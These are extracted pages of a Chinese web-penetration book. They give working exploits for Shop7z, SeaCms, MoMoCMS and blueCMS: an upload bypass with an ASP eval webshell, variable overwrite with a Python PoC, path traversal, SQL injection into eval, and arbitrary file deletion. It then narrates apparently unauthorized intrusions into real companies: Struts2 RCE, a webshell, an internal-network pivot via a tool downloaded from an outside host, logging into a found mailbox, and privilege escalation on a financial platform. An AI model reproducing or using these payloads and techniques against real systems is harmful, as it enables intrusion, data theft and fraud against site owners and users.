    {"text": "y 100 y 第 3 章 漏洞挖掘 3.10 shop7z 任意文件上传漏洞挖掘实例（0day） shop7z 网上购物系统是国内优秀的网上开店软件，模板新颖独特、功能强大，数 万用户使用 shop7z 网上开店，可以快速建立自己的网上商城。 系统使用的是 ASP 脚 本语言，挖掘 shop7z 的漏洞相对也容易，下面我们叙述一下发现漏洞的过程。"},
    {"text": "漏洞文件/admin/Saveupload2.asp，具体代码如下。 <!--#include file=\"conn.asp\"--> <!--#include FILE=\"upload.inc\"--> <% '<script> 'parent.document.forms[0].Submit.disabled=false; 'parent.document.forms[0].Submit2.disabled=false; 'text = upload.Form(\"text\") 'response.write text '上传方法，0＝无组件，1＝lyfupload，2＝aspupload，3＝chinaaspupload ................................省略 '无组件上传 sub upload_0() set upload=new upload_5xSoft ''建立上传对象 formPath=upload.form(\"filepath\") product=upload.form(\"product\") picsize=upload.form(\"size\") 'response.write product&\"6666\"& picsize 'response.end ''在目录后加(/) if right(formPath,1)<>\"/\" then formPath=formPath&\"/\" ................................省略 y 101 y Web 渗透与漏洞挖掘 if fileEXT<>\".gif\" and fileEXT<>\".jpg\" then response.write \"<font size=2>文件格式不对 [ <a href=# onclick=history.go(-1)> 重新上传</a> ]</font>\" response.end end if filename=formPath&right(year(now),2)&month(now)&day(now)&hour(now)&minute(now)& second(now)&file.FileName ‘漏洞出在这行 ................................省略 sub HtmEnd(Msg) set MyFile = server.CreateObject(\"Scripting.FileSystemObject\") set MyText = MyFile.OpenTextFile(Server.mappath(filename)) '读取文本文件 sTextAll = lcase(MyText.ReadAll()) MyText.close set MyFile = nothing sStr=\".getfolder|.createfolder|.deletefolder|.createdirectory|.deletedirectory| eval|雷驰新闻发布|script|\" sStr=sStr&\".saveas|wscript.shell|script.encode|server.|.createobject|execute|ac tivexobject|language=\" snum = split(sStr,\"|\") for i=0 to ubound(snum) if instr(sTextAll,snum(i)) then set filedel = server.CreateObject(\"Scripting.FileSystemObject\") filedel.deletefile Server.mappath(filename) set filedel = nothing Response.Write(\"<script>alert('上传失败 0!');window.close();</script>\") Response.End() end if next ................................省略 %> 该代码是 asp 无组件上传的代码，没有考虑 1.asp;1.jpg 这样的文件扩展名类型， 在 shop7z 这里上传没有重命名，可以直接使用.asp;1.jpg 这样的扩展，导致在 iis6.0 下 可以得到 webshell，我们使用 IE 访问网址 http://www.test.com/admin/lipinadd.asp。"},
    {"text": "y 102 y 第 3 章 漏洞挖掘 图 3-71 上传 1.asp;1.jpg，文件的内容为<%eval(request(“#”))%>，上传后如图 3-72 所示。 图 3-72 提示上传失败，分析原因是上传的文件不是.jpg 类型，我们需要上传一个正常的 jpg 文件，在里面插入“ASP 一句话木马”。"},
    {"text": "图 3-75 使用“河马一句话木马服务端和客户端”工具连接网址 http://www.test.com//admin/ uploadimages/156271234311.asp;1.jpg，输入密码，连接成功，如图 3-76 所示。"},
    {"text": "图 3-76 y 104 y 第 3 章 漏洞挖掘 在代码中有限制上传 ASP 木马的代码，具体如下： if fileEXT<>\".gif\" and fileEXT<>\".jpg\" then response.write \"<font size=2>文件格式不对 [ <a href=# onclick=history.go(-1)> 重新上传</a> ]</font>\" response.end end if 若后缀不是.gif 或.jpg 则提示文件格式不对，停止上传。 还有一处 HtmEnd()编码的过程代码如下： sub HtmEnd(Msg) set MyFile = server.CreateObject(\"Scripting.FileSystemObject\") set MyText = MyFile.OpenTextFile(Server.mappath(filename)) '读取文本文件 sTextAll = lcase(MyText.ReadAll()) MyText.close set MyFile = nothing sStr=\".getfolder|.createfolder|.deletefolder|.createdirectory|.deletedirectory| eval|雷驰新闻发布|script|\" sStr=sStr&\".saveas|wscript.shell|script.encode|server.|.createobject|execute|ac tivexobject|language=\" snum = split(sStr,\"|\") for i=0 to ubound(snum) if instr(sTextAll,snum(i)) then set filedel = server.CreateObject(\"Scripting.FileSystemObject\") filedel.deletefile Server.mappath(filename) set filedel = nothing Response.Write(\"<script>alert('上传失败 0!');window.close();</script>\") Response.End() end if next response.write \"图片路径是:\"&FileName if picsize=\"small\" then response.write \"<script language=JavaScript>\" & \"window.opener.document. theForm.smallpicpath.value ='\"&FileName&\"';\" &\"alert('小图片上传成功!');\"& \"window.close();\" & \"</script>\" else y 105 y Web 渗透与漏洞挖掘 response.write \"<script language=JavaScript>\" & \"window.opener.document.theForm. bigpicpath.value ='\"&FileName&\"';\" &\"alert('大图片上传成功!');\"& \"window.close();\" & \"</script>\" end if response.end end sub HtmEnd 过程对上传的文件内容进行过滤，过滤出很多字符，如 Execute、Create Object、Server、Eval 等。 我们第一次上传失败，就是因为 HtmEnd 过滤到我们的木马， 当第二次上传时，在 jpg 图片中隐藏了我们的木马，HtmEnd 函数没有过滤到，所以 上传成功。"},
    {"text": "还有一处导致漏洞的代码是： filename=formPath&right(year(now),2)&month(now)&day(now)&hour(now)&minute(now)& second(now)&file.FileName 文件名是拼接而成的。"},
    {"text": "3.11 SeaCms 影视系统变量覆盖思想 SeaCms 是一套用于搭建在线电影的应用，采用 PHP+MYSQL 架构，目前最新版 本存在一个变量覆盖漏洞，导致攻击者可以直接进入网站后台，获取管理权限。 首先从官方网站 www.seacms.net 下载最新版本 SeaCms 6.26，然后部署并安装， 由于 CMS 使用了如下代码： foreach(Array('_GET','_POST','_COOKIE') as $_request) { foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v); } 导致变量覆盖，这里我们覆盖数据库连接时的配置参数，如 dbhost、dbuser、dbpwd 等参数，从而绕过真实的 MySQL 数据库，连接了我们伪造的 MySQL 主机，这样就 可以直接控制系统的登录密码。"},
    {"text": "首先在网络上搭建一个 MySQL 主机，MySQL 主机的 IP 地址为 127.0.0.1，里面有一个数据库为 seacms2，库里有 sea_admin 表格，表结构 和数据如表 3-1 所示。 表 3-1 Id Name Password Logincount Loginip Logintime Groupid state 1 admin f297a57a5a743894a0e4 0 127.0.0.1 1459829788 1 1 其次，提交 URL： http://localhost/xampp/seacmsV6.26/login.php?dopost=login&validate=fecn&userid= admin&pwd=admin& _POST[GLOBALS][cfg_dbhost]=127.0.0.1& _POST[GLOBALS][cfg_dbuser]=root& _POST[GLOBALS][cfg_dbpwd]=1& _POST[GLOBALS][cfg_dbname]=seacms2 服务器返回提示信息，如图 3-77 所示。"},
    {"text": "重新检查 URL，发现不能在后台登录，而是在前台登录，因为在后台登 录的 URL 是： http://localhost/xampp/seacmsV6.26/admin/login.php 而前台登录的 URL 是： http://localhost/xampp/seacmsV6.26/login.php 在 URL 代码后增加 admin 进后台，这时变量覆盖漏洞还存在吗？ 我们再试一试， 提交如下 URL： http://localhost/xampp/seacmsV6.26/admin/login.php?dopost=login&validate=fecn&u serid=admin&pwd=admin& y 107 y Web 渗透与漏洞挖掘 _POST[GLOBALS][cfg_dbhost]=127.0.0.1& _POST[GLOBALS][cfg_dbuser]=root& _POST[GLOBALS][cfg_dbpwd]=1& _POST[GLOBALS][cfg_dbname]=seacms2 服务器显示验证码不正确，如图 3-78 所示。 图 3-78 访问网址 http://localhost/xampp/seacmsV6.26/include/vdimgck.php 获得验证码 VRMR， 并编写入 URL 中，提交： http://localhost/xampp/seacmsV6.26/admin/login.php?dopost=login&validate=vrmr&u serid=admin&pwd=admin& _POST[GLOBALS][cfg_dbhost]=127.0.0.1& _POST[GLOBALS][cfg_dbuser]=root& _POST[GLOBALS][cfg_dbpwd]=1& _POST[GLOBALS][cfg_dbname]=seacms2 服务器返回提示信息“你的用户不存在”，如图 3-79 所示。 图 3-79 经过反复排查是数据库表 admin 不存在，而数据库表名为 sea_admin，所有登录 失败，重新建表 admin，表结构和内容与 sea_admin 相同，如表 3-2 所示。 表 3-2 admin Id Name Password Logincount Loginip Logintime Groupid state 1 admin f297a57a5a743894a0e4 0 127.0.0.1 1459829788 1 1 y 108 y 第 3 章 漏洞挖掘 最终登录成功，如图 3-80 所示。"},
    {"text": "图 3-81 Poc 代码如下： #!/usr/bin/env python #coding = utf-8 import urllib2 import re import sys class Hole(object): def verify(self,url,config,validate,cookie): url1 = url + \"/admin/login.php?dopost=login&validate=\"+validate + \"&userid= admin&pwd=admin&\" + config req1 = urllib2.Request(url1,None,headers={\"User-Agent\":\"firefox 18.0\", \"Cookie\":cookie}) y 109 y Web 渗透与漏洞挖掘 res1 = urllib2.urlopen(req1) content1 = res1.read() regx = \"(href='index.php')\" result = re.compile(regx).findall(content1) if result: print \"success\" else: print \"fail\" if __name__ == \"__main__\": url = sys.argv[1] config = sys.argv[2] validate = sys.argv[3] cookie = sys.argv[4] hole1 = Hole() hole1.verify(url,config,validate,cookie) 3.12 MoMoCMS 5.4 多漏洞合集剖析 MoMoCMS 是一款与众不同的 CMS 系统，自适应于电脑端和手机端。 MoMoCMS 后台出现多个漏洞，如此综合利用可获取网站的 webshell。"},
    {"text": "第一个漏洞：后台任意文件下载漏洞 首先登录后台，找到“数据库备份”页面，将鼠标放在“下载”链接上，可以看 到超链接网址 http://127.0.0.1/xampp/MoMoCMS_V5.4.4/admin/downloadSQL.php?file= bXlzcWwyMDE2TWF5MTlUSU1FMjMwNTMxLnNxbC5neg==&token=49ba937e3a248 26cb4ad7ee7b5001aec，参数 file 的值为 bXlzcWwyMDE2TWF5MTlUSU1FMjMwNTMx y 110 y 第 3 章 漏洞挖掘 LnNxb C5neg==，类似 base64 编码。"},
    {"text": "打开工具“河马 MYSQL 注入工具 v1.1”，在“编 码转义”里对 bXlzcWwyMDE2TWF5MTlUSU1FMjMwNTMxLnNxb C5neg==进行解 码，得到 mysql2016May19TIME230531.sql.gz，如图 3-82 所示。"},
    {"text": "/admin/downloadSQL.php 代码如下： <?php require(\"./database.php\"); if(empty($_SESSION['momocms_admin'])){ header(\"Location:./index.php\"); exit; } if($_SESSION['momocms_isAdmin']==1 && ($_REQUEST['token'] == $_SESSION['token'])){ $file_name=base64_decode($_GET['file']); $file_dir = \"./phpmysqlautobackup/backups/\"; if(file_exists($file_dir.$file_name)){ header(\"Content-Type:text/plain\"); header(\"Accept-Ranges:bytes\"); y 111 y Web 渗透与漏洞挖掘 header(\"Content-Disposition:attachment;filename=\".$file_name); $file = fopen($file_dir.$file_name,\"r\"); echo fread($file,filesize($file_dir.$file_name)); fclose($file); } } ?> 我们把../../database.php 进行 base64 编码，获得 Li4vLi4vZGF0YWJhc2UucGhw， 然后提交 URL 为 http://127.0.0.1/xampp/MoMoCMS_V5.4.4/admin/downloadSQL.php?file= Li4vLi4vZGF0YWJhc2UucGhw==&token=49ba937e3a24826cb4ad7ee7b5001aec ， 奇 迹 出现，我们跨越权限获得了 database.php 的代码，如图 3-83 和图 3-84 所示。"},
    {"text": "第三个漏洞：安装模块 SQL 注入漏洞 因为第二个漏洞不属于高危漏洞，所以先分析第三个漏洞，安装模块 SQL 注入 漏洞的 index_do.php 文件中有这样几行代码： $db->exec(\"insert into \".$_POST['db_prefix'].\"admin set user = '\".$_POST['admin'].\"', psw = '\".md5($_POST['password']).\"', isAdmin = 1\"); $_POST['db_prefix']为可以控制，所以我们可以向数据库中任意表格插入任意数 据，这又有什么用呢？"},
    {"text": "y 112 y 第 3 章 漏洞挖掘 第四个漏洞：远程代码执行漏洞 远程代码执行，代码执行漏洞危害非常严重，在 contents.php 中有一个 eval 函数， 代码如下： if($num_side>0){ $sql_side=\"select * from \".DB_PREFIX.\"modules where pid='\".$tmp_side.\"' or pid ='0' order by sort desc\"; $query_side=$db->query($sql_side); $num_side=$query_side->rowCount(); while($arr_side=$query_side->fetch()){ eval(\"?>\".base64_decode($arr_side['codes'])); } }else{ $sql_mixsidebar=\"select * from \".DB_PREFIX.\"modules where pid='\".$arr_ main['id'].\"' or pid ='0' order by sort desc\"; $query_mixsidebar=$db->query($sql_mixsidebar); $num_mixsidebar=$query_mixsidebar->rowCount(); if($num_mixsidebar>0){ while($arr_mixsidebar=$query_mixsidebar->fetch()){ eval(\"?>\".base64_decode($arr_mixsidebar['codes'])); } } } 我们仔细查看漏洞的参数是从哪里来，代码 eval(\"?>\".base64_decode($arr_side ['codes']));$arr_side 数组变量是从数据库表 momo_modules 中提取出来的，然后 base64 解码后执行，而我们可利用第三个漏洞控制其值，于是提交以下数据包： POST http://127.0.0.1/xampp/MoMoCMS_V5.4.4/install/install_do.php HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Content-Length: 970 Cache-Control: max-age=0 Origin: http://127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybAN6c2Yf3Dbf3ugM Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://127.0.0.1/xampp/MoMoCMS_V5.4.4/install/ Accept-Encoding: gzip,deflate,sdch y 113 y Web 渗透与漏洞挖掘 Accept-Language: zh-CN,zh;q=0.8 Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=eq0u1rmfpgk9fi0opn8lrd7pa6 ------WebKitFormBoundarybAN6c2Yf3Dbf3ugM Content-Disposition: form-data; name=\"db_host\" localhost ------WebKitFormBoundarybAN6c2Yf3Dbf3ugM Content-Disposition: form-data; name=\"db_name\" momocms ------WebKitFormBoundarybAN6c2Yf3Dbf3ugM Content-Disposition: form-data; name=\"db_user\" root ------WebKitFormBoundarybAN6c2Yf3Dbf3ugM Content-Disposition: form-data; name=\"db_psw\" 1 ------WebKitFormBoundarybAN6c2Yf3Dbf3ugM Content-Disposition: form-data; name=\"db_prefix\" momo_modules (id,codes,pid)values(89,0x5044397761484167634768776157356D627967704F7A382B,89); select version();# ------WebKitFormBoundarybAN6c2Yf3Dbf3ugM Content-Disposition: form-data; name=\"admin\" admin ------WebKitFormBoundarybAN6c2Yf3Dbf3ugM Content-Disposition: form-data; name=\"password\" admin1 ------WebKitFormBoundarybAN6c2Yf3Dbf3ugM Content-Disposition: form-data; name=\"url\" http://127.0.0.1/xampp/MoMoCMS_V5.4.4/ ------WebKitFormBoundarybAN6c2Yf3Dbf3ugM-- 重点是 db_prefix 的值，笔者将其设置为 momo_modules (id,codes,pid)values(89, 0x5044397761484167634768776157356D627967704F7A382B,89);select version();#，这 y 114 y 第 3 章 漏洞挖掘 样就将<?php phpinfo();?>编码后的字符串写入表中，访问 URL 网址 http://127.0.0.1/ xampp/MoMoCMS_V5.4.4/contents.php?nid=89，如图 3-85 所示。"},
    {"text": "y 115 y Web 渗透与漏洞挖掘 /admin/deleteSQL.php <?php require(\"./database.php\"); if(empty($_SESSION['momocms_admin'])){ header(\"Location:./index.php\"); exit; } if($_SESSION['momocms_isAdmin']==1 && ($_REQUEST['token'] == $_SESSION['token'])){ $file_name=base64_decode($_GET['file']); $file_dir = \"./phpmysqlautobackup/backups/\"; if(file_exists($file_dir.$file_name)){ @unlink($file_dir.$file_name); } echo '<script> parent.document.getElementById(\"successMsg\").style.display=\"block\"; setTimeout(function(){ parent.window.location.href=\"./backupSQL.php\"; },1500); </script>'; } ?> $file_name=base64_decode($_GET['file']);这行代码 GET 获取参数，没有经过任何 过滤。 提交 URL 为 http://127.0.0.1/xampp/MoMoCMS_V5.4.4/admin/deleteSQL.php?file= Li4vLi4vLi4vZGF0YWJhc2UucGhw&token=7849da7ce29f9f7f0e6824f0a951adfc ， 将 网 站根目录下的 database.php 文件删除，删除成功如图 3-87 所示。 图 3-87 3.13 blueCMS 1.6 任意文件删除可导致重装 blueCMS blueCMS 是一款中小型企业建站系统，使用 PHP+MYSQL 架构，笔者最近分析 y 116 y 第 3 章 漏洞挖掘 漏洞时发现一个任意文件删除漏洞，可以删除/data/install.lock 文件，导致重新安装 CMS 系统。"},
    {"text": "漏洞文件为/user.php，代码如下： //编辑个人资料 elseif($act == 'edit_user_info'){ $user_id = intval($_SESSION['user_id']); if(empty($user_id)){ return false; } $birthday = trim($_POST['birthday']); $sex = intval($_POST['sex']); $email = !empty($_POST['email']) ? trim($_POST['email']) : ''; $msn = !empty($_POST['msn']) ? trim($_POST['msn']) : ''; $qq = !empty($_POST['qq']) ? trim($_POST['qq']) : ''; $mobile_phone = !empty($_POST['mobile_phone']) ? trim($_POST['mobile_phone']) : ''; $office_phone = !empty($_POST['office_phone']) ? trim($_POST['office_phone']) : ''; $home_phone = !empty($_POST['home_phone']) ? trim($_POST['home_phone']) : ''; $address = !empty($_POST['address']) ? htmlspecialchars($_POST['address']) : ''; if (!empty($_POST['face_pic1'])){ if (strpos($_POST['face_pic1'], 'http://') != false && strpos($_POST ['face_pic1'], 'https://') != false){ showmsg('只支持本站相对路径地址'); } else{ $face_pic = trim($_POST['face_pic1']); } }else{ if(file_exists(BLUE_ROOT.$_POST['face_pic3'])){ //face_pic3 变量指定一个路径， 如果路径存在则删除该文件。"},
    {"text": "@unlink(BLUE_ROOT.$_POST['face_pic3']); } } 查看最后两行代码： if(file_exists(BLUE_ROOT.$POST['face_pic3'])){ @unlink(BLUE_ROOT.$_POST['face_pic3']); face_pic3 变量指定了一个路径，如果路径存在，则删除该文件。"},
    {"text": "y 117 y Web 渗透与漏洞挖掘 我们编写 face_pic3 变量为/data/config.php，代码如下： POST http://localhost/bluecms_1.6/user.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://localhost/bluecms_1.6/user.php?act=my_info Cookie: detail=1; PHPSESSID=2c084c49b9496ba0ca13226495ef3623; bdshare_firstime=1434532610729; BLUE[user_id]=2; BLUE[user_name]=isafe_cc; BLUE[user_pwd]=6b8e9e11c85e03a3ca3aea71114fb7dd Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------266862673712739 Content-Length: 2449 -----------------------------266862673712739 Content-Disposition: form-data; name=\"face_pic1\" -----------------------------266862673712739 Content-Disposition: form-data; name=\"face_pic2\"; filename=\"www.isafe.cc.jpg\" Content-Type: image/jpeg ????? JFIF? ?`?`?????C? ? $.' \",# (7),01444?'9=82<.342???C ? 2! !22222222222222222222222222222222222222222222222222??? ?t?? \"? ???-?? ???????? ???? ? ?? } ? !1A Qa\"q 2??? #B?? R??$3br? %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?????????????????????????????? ??? ???????????????????????????????????????????? ? ?????? ???? ? ? w? !1 AQaq \"2? B???? #3R? br? $4?%? &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz??????????????????????????? ???????? ???????????????????????????????????????? y 118 y 第 3 章 漏洞挖掘 ? ?????+? (???(???(???(???(???(???(???(???(???(???(???(???(???(???(???(??? (???(???(???(???(???(???(???(???(???(???(???(???(???(???(???(???(???(???(???(?? ?(???(???(???(???(???(???(???(???(???(???(???(???(???(???(???(???(???(???(???(? ??(???(???(???(???(???(???(???(???(???(???(???(???(???(???(????? -----------------------------266862673712739 Content-Disposition: form-data; name=\"birthday\" 1999-11-30 -----------------------------266862673712739 Content-Disposition: form-data; name=\"sex\" 0 -----------------------------266862673712739 Content-Disposition: form-data; name=\"email\" admin@163.com -----------------------------266862673712739 Content-Disposition: form-data; name=\"msn\" -----------------------------266862673712739 Content-Disposition: form-data; name=\"qq\" -----------------------------266862673712739 Content-Disposition: form-data; name=\"office_phone\" -----------------------------266862673712739 Content-Disposition: form-data; name=\"home_phone\" -----------------------------266862673712739 Content-Disposition: form-data; name=\"mobile_phone\" 1' -----------------------------266862673712739 Content-Disposition: form-data; name=\"address\" -----------------------------266862673712739 y 119 y Web 渗透与漏洞挖掘 Content-Disposition: form-data; name=\"act\" edit_user_info -----------------------------266862673712739 Content-Disposition: form-data; name=\"submit\" ?????? -----------------------------266862673712739 Content-Disposition: form-data; name=\"face_pic3\" /data/config.php -----------------------------266862673712739— 要记得修改 Cookie，也就是说当需要前台权限时，编写 face_pic3 变量的值为 /data/config.php，使用“Http Request Editor”提交，如图 3-88 所示。"},
    {"text": "y 120 y 第 3 章 漏洞挖掘 图 3-89 图 3-90 这时再重新安装 blueCMS 系统就会失败，如图 3-91 所示。 图 3-91 提示删除/data/install.lock 文件，编写删除代码如下： POST http://localhost/bluecms_1.6/user.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://localhost/bluecms_1.6/user.php?act=my_info Cookie: detail=1; PHPSESSID=2c084c49b9496ba0ca13226495ef3623; bdshare_firstime= 1434532610729; BLUE[user_id]=2; BLUE[user_name]=isafe_cc; BLUE[user_pwd]= 6b8e9e11c85e03a3ca3aea71114fb7dd Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------266862673712739 Content-Length: 2449 -----------------------------266862673712739 Content-Disposition: form-data; name=\"face_pic1\" y 121 y Web 渗透与漏洞挖掘 -----------------------------266862673712739 Content-Disposition: form-data; name=\"face_pic2\"; filename=\"www.isafe.cc.jpg\" Content-Type: image/jpeg ????? JFIF? ?`?`?????C? ? $.' \",# (7),01444?'9=82<.342???C ? 2! !22222222222222222222222222222222222222222222222222??? ?t?? \"? ???-?? ???????? -----------------------------266862673712739 Content-Disposition: form-data; name=\"birthday\" 1999-11-30 -----------------------------266862673712739 Content-Disposition: form-data; name=\"sex\" 0 -----------------------------266862673712739 Content-Disposition: form-data; name=\"email\" admin@163.com -----------------------------266862673712739 Content-Disposition: form-data; name=\"msn\" -----------------------------266862673712739 Content-Disposition: form-data; name=\"qq\" -----------------------------266862673712739 Content-Disposition: form-data; name=\"office_phone\" -----------------------------266862673712739 Content-Disposition: form-data; name=\"home_phone\" -----------------------------266862673712739 Content-Disposition: form-data; name=\"mobile_phone\" y 122 y 第 3 章 漏洞挖掘 1' -----------------------------266862673712739 Content-Disposition: form-data; name=\"address\" -----------------------------266862673712739 Content-Disposition: form-data; name=\"act\" edit_user_info -----------------------------266862673712739 Content-Disposition: form-data; name=\"submit\" ?????? -----------------------------266862673712739 Content-Disposition: form-data; name=\"face_pic3\" /data/install.lock -----------------------------266862673712739— 记得修改 Cookie。"},
    {"text": "y 124 y 4 第 4 章 Web 渗透 4.1 某网络 Struts 2 远程代码执行漏洞可渗透内网 Struts 2 在 2010 年时就报出远程代码执行 0day，经过网络安全爱好者研究，截至 2014 年已经有 5 个版本的漏洞出现，均为 Struts 2 框架远程代码执行漏洞，这次渗透 “某网络”用的是 Struts 2 2013 s2-016 版本的漏洞。 1．发现漏洞 某 网 络 的 官 方 域 名 为 www.xxx.com （ 本 文 不 便 公 开 有 漏 洞 的 主 机 ， 用 www.xxx.com 这个域名代替真实域名），笔者在查该网络漏洞时对不同的域名进行扫 描，在 Web 层面检查如下项目。 （1）SQL 注入 （2）XSS Web 渗透与漏洞挖掘 （3）CMS、OA、MAIL、BBS 等类型 （4）文件上传 （5）文件下载 （6）Iis、apache、tomcat 等漏洞 通过测试发现 www.xxx.com（是该公司招聘网站）利用的是 Struts 2 框架，打开 网站，在 IE 中输入网址 http://www.xxx.com/。 使用“Struts 2 2003 s2-016 远程代码执行利用工具”，可以查看到漏洞是存在的， 如图 4-1 所示。"},
    {"text": "图 4-1 2．获取权限 上面的操作仅证明 Struts 2 远程代码执行存在漏洞，现在利用“Struts 2 2003 s2-016 远程代码执行利用工具”的 GetWebShell 功能得到一个“菜刀马”，如图 4-2 所示。"},
    {"text": "y 126 y 第 4 章 Web 渗透 图 4-2 使用中国菜刀（“中国菜刀”是一款 webshell 管理工具，可以管理 ASP、PHP、 JSP 等一句话 webshell，功能相当出色）webshell 管理工具，可以知道 webshell 的权 限为系统管理员权限。"},
    {"text": "3．进入内网 要进行内网渗透需要工具 isafe.exe（下载网址 http://www.isafe.cc/soft/isafe.exe）， 对内网主机的 3389 端口进行映射，需要映射到公网主机（www.isafe.cc）。"},
    {"text": "并利用“中 国菜刀”的上传功能，把 isafe.exe 上传到域名为 www.xxx.com 的 C:\\任意目录下。 在 www.isafe.cc 主机中执行命令： isafe.exe –listen 51 2007 在 www.xxx.com 内网主机中执行命令： isafe.exe –slave www.isafe.cc 51 127.0.0.1 3389 我们利用 Struts 2 漏洞添加一个系统管理员账号 isafe，然后在 www.isafe.cc 中打 开 cmd，执行命令： mstsc.exe /v 172.0.0.1:2007 就可以连入该网站的内网，如图 4-4 所示。"},
    {"text": "y 128 y 第 4 章 Web 渗透 扫描 Struts 2 漏洞 www.xxx.com 利用 Struts 2 工具 得到 webshell 添加 Windows 账号 上传 isafe.exe 端口映射工具 映射该公司服务器内网到公网 连接/控制 图 4-5 4．内网渗透 通过以上的方法已经成功进入某网站的内网，下面对该内网进行渗透，由于获取 了 www.xxx.com 的系统权限，所以可以找到整个内网的域控制器或敏感信息。"},
    {"text": "图 4-7 5．邮箱密码 在内网渗透时不小心发现了一个电子邮箱及其密码，内容信息如下： z 登录 mail.sina.com z 用户名：dayeetest@sina.com z 密码：test123 用 IE 打开网址 mail.sina.com，如图 4-8 所示。 图 4-8 y 130 y 第 4 章 Web 渗透 输入用户名和密码，成功登陆邮箱，如图 4-9 所示。"},
    {"text": "4.2 一次转走 1 亿元的技术漏洞 大多数网站都会有漏洞，只要深挖就会有收获，本节介绍从注入点到网站后台权 限再到 webshell 的使用，最后控制整个网站系统，转走 1 亿元的真实案例。"},
    {"text": "通过扫描发现有一个 SQL 注入漏洞，注入点的链接为 http://xxx.com/index.php? mod= goods&act=main&catid=522，我们先手工注入试试，这里使用 MySQL 的报错模 式注入，extractvalue()函数，提交 URL 为 http://xxx.com/index.php?mod=goods&act= main&catid=522)%20and%20extractvalue(1,%20concat(0x5c,(select%20version())) ， 如 图 4-12 所示。"},
    {"text": "图 4-13 然后查找管理员的表和普通用户表，发现管理员的表为 sinbegin_manager，而普 通用户的表为 sinbegin_user，接着使用 SQLMAP 获取管理员表 sinbegin_manager 中的 数据，如图 4-14 所示。"},
    {"text": "图 4-14 其中一个 boss 账号，密码使用了 md5 加密，我们需到破解 md5 的网站上购买解 密信息，如图 4-15 所示。 y 133 y Web 渗透与漏洞挖掘 图 4-15 图 4-15 显示成功破解了 boss 的登录密码，密码为 1，但是我们现在还不知道后 台的登录地址，在前台登录 URL 为 http://xxx.com/index.php?mod=member&act=login& url=P21vZD1tZW1iZXI=，mod 的值为 member，我们改为 admin 或 manager 试试，提 交 URL 为 http://xxx.com/index.php? mod=manager&act=login&url=P21vZD1tZW1iZXI=， 如图 4-16 所示，提示没有成功。 图 4-16 再试试提交 URL 为 http://xxx.com/index.php?mod=admin&act=login&url=P21vZD1t ZW1iZXI=，如图 4-17 所示，出现后台登录页面。 图 4-17 y 134 y 第 4 章 Web 渗透 我们使用用户名为 boss，密码为 1 登录，如图 4-18 所示，如图 4-19 所示，成功 登录后台。"},
    {"text": "图 4-18 图 4-19 y 135 y Web 渗透与漏洞挖掘 在后台页面看到，该公司营业总额为 11 亿元多，至此我们通过重重障碍进入了 系统后台，但在后台网页中，没有发现提现入口。"},
    {"text": "因此我们应该去前台看看，前台 登 录 界 面 网 址为 http://www.xxx.com/index.php?mod=member&act=login&url=P21vZD1t ZW1iZXI=，通过 SQL 注入，查看表 sinbegin_user 的数据，依然使用 md5 加密，然后 破译，如图 4-20 所示。 图 4-20 如果不能破译密码就没有办法转钱，换另外一种思路，因为注入点是 root 权限， 并且服务器开放了 3306 端口，允许外网连接，所以可以先通过注入获取 MySQL 的 root 密码，然后使用 MySQL 客户端登录，在里面修改或添加用户，最后登录转账。 经过一 番波折 MySQL 的 root 密码为 lij**********，成功登录，如图 4-21 和图 4-22 所示。 图 4-21 至此我们有了 root 权限添加账号，过程很不容易，由于涉及上亿元的资产，咱们 就不动他的数据库系统了到此为止吧。 y 136 y 第 4 章 Web 渗透 图 4-22 现在打算到此为止，但是还没有拿到他的 shell，于是使用 boss 账号在系统后台 查寻，没有发现可以利用的，再查看账号列表，有个 admin 的账号，但是破解不出密 码，于是分析 sinbegin_manager 表结构，发现有一个 groupid 字段，admin 的账号是 1， 那是不是就代表着系统管理员呢？ 我们把 boss 账号的 groupid 字段设置为 1，退出后 台，重新登录就已经是管理员了，如图 4-23 所示。 图 4-23 y 137 y Web 渗透与漏洞挖掘 接着使用 shell，在后台看到有数据库备份的功能，可以备份数据、恢复数据，先 备份后，下载到本地分析，如图 4-24 所示。"},
    {"text": "在恢复数据的时候后台把很多.php 文件解压到一个 Web 目录，于是可以在.zip 包 里放一个 PHP 的一句话木马，然后上传，如图 4-26 和图 4-27 所示。"},
    {"text": "（1）SQL 注入漏洞 （2）后台数据库备份漏洞 该怎么防范这两个漏洞呢？ 对于 SQL 注入当然是过滤关键字，对于备份漏洞， 应该把解压缩的文件夹设置到 Web 目录以外，防止 PHP 代码的执行。"},
    {"text": "4.3 利用“河马 Cookie 修改器”击破 91736CMS 91736CMS 是 91736.com 官 方 推 出 的 一 款 通 用 内 容 管 理 系 统 。 主 要 使 用 PHP+MySQL+Smarty 技术基础进行开发，91736CMS 采用 OOP（面向对象）方式进 行基础运行框架搭建，模块化开发方式作为功能开发形式。"},
